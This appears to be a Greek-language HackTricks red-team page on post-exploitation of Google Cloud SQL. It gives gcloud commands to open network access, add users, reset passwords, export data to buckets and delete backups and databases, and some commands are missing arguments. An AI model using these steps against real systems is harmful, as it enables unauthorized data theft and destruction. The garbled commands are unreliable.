GCP - Cloud SQL Post Exploitation

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Cloud SQL

Για περισσότερες πληροφορίες για το Cloud SQL δείτε:

GCP - Cloud SQL Enum

cloudsql.instances.update, ( cloudsql.instances.get)

Για να συνδεθείτε στις βάσεις δεδομένων χρειάζεστε απλώς πρόσβαση στη θύρα της βάσης δεδομένων και να γνωρίζετε το username και το password, δεν υπάρχουν απαιτήσεις IAM. Έτσι, ένας εύκολος τρόπος για να αποκτήσετε πρόσβαση, υποθέτοντας ότι η βάση έχει public IP address, είναι να ενημερώσετε τα επιτρεπόμενα δίκτυα και να επιτρέψετε τη δική σας IP διεύθυνση να έχει πρόσβαση.

Επιτρέψτε την IP σας και συνδεθείτε στη βάση δεδομένων ```bash # Use --assign-ip to make the database get a public IPv4 gcloud sql instances patch $INSTANCE_NAME \ --authorized-networks "$(curl ifconfig.me)" \ --assign-ip \ --quiet

mysql -h <ip_db> # If mysql

With cloudsql.instances.get you can use gcloud directly

gcloud sql connect mysql –user=root –quiet

</details>

Είναι επίσης δυνατό να χρησιμοποιηθεί **`--no-backup`** για να διαταράξει τα αντίγραφα ασφαλείας της βάσης δεδομένων.

Δεδομένων αυτών των απαιτήσεων, δεν είμαι απολύτως σίγουρος τι αφορούν τα δικαιώματα **`cloudsql.instances.connect`** και **`cloudsql.instances.login`**. Αν ξέρεις, στείλε ένα PR!

### `cloudsql.users.list`

Λήψη **λίστας με όλους τους χρήστες** της βάσης δεδομένων:

<details>

<summary>Λίστα χρηστών βάσης δεδομένων</summary>
```bash
gcloud sql users list --instance <intance-name>

cloudsql.users.create

Αυτή η άδεια επιτρέπει την δημιουργία νέου χρήστη μέσα στη βάση δεδομένων:

Δημιουργία χρήστη βάσης δεδομένων ```bash gcloud sql users create --instance --password ```

cloudsql.users.update

Αυτή η άδεια επιτρέπει να γίνει update user inside στη βάση δεδομένων. Για παράδειγμα, θα μπορούσατε να αλλάξετε τον κωδικό του:

Update user password ```bash gcloud sql users set-password --instance --password ```

cloudsql.instances.restoreBackup, cloudsql.backupRuns.get

Τα αντίγραφα ασφαλείας μπορεί να περιέχουν παλαιές ευαίσθητες πληροφορίες, οπότε είναι ενδιαφέρον να τα ελέγξετε.
Επαναφορά αντιγράφου ασφαλείας σε μια βάση δεδομένων:

Επαναφορά αντιγράφου βάσης δεδομένων ```bash gcloud sql backups restore --restore-instance ```

Για να το κάνετε με πιο διακριτικό τρόπο, συνιστάται να δημιουργήσετε ένα νέο SQL instance και να ανακτήσετε τα δεδομένα εκεί αντί στις τρέχουσες βάσεις δεδομένων.

cloudsql.backupRuns.delete

Αυτή η άδεια επιτρέπει τη διαγραφή αντιγράφων ασφαλείας:

Διαγραφή αντιγράφου ασφαλείας ```bash gcloud sql backups delete --instance ```

cloudsql.instances.export, storage.objects.create

Εξαγωγή μιας βάσης δεδομένων σε ένα Cloud Storage Bucket ώστε να μπορείτε να την προσπελάσετε από εκεί:

Εξαγωγή βάσης δεδομένων στο bucket ```bash # Export sql format, it could also be csv and bak gcloud sql export sql --database ```

cloudsql.instances.import, storage.objects.get

Εισαγωγή βάσης δεδομένων (αντικατάσταση) από ένα Bucket του Cloud Storage:

Εισαγωγή βάσης δεδομένων από bucket ```bash # Import format SQL, you could also import formats bak and csv gcloud sql import sql ```

cloudsql.databases.delete

Διαγραφή μιας βάσης δεδομένων από το db instance:

Διαγραφή βάσης δεδομένων ```bash gcloud sql databases delete --instance ```

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks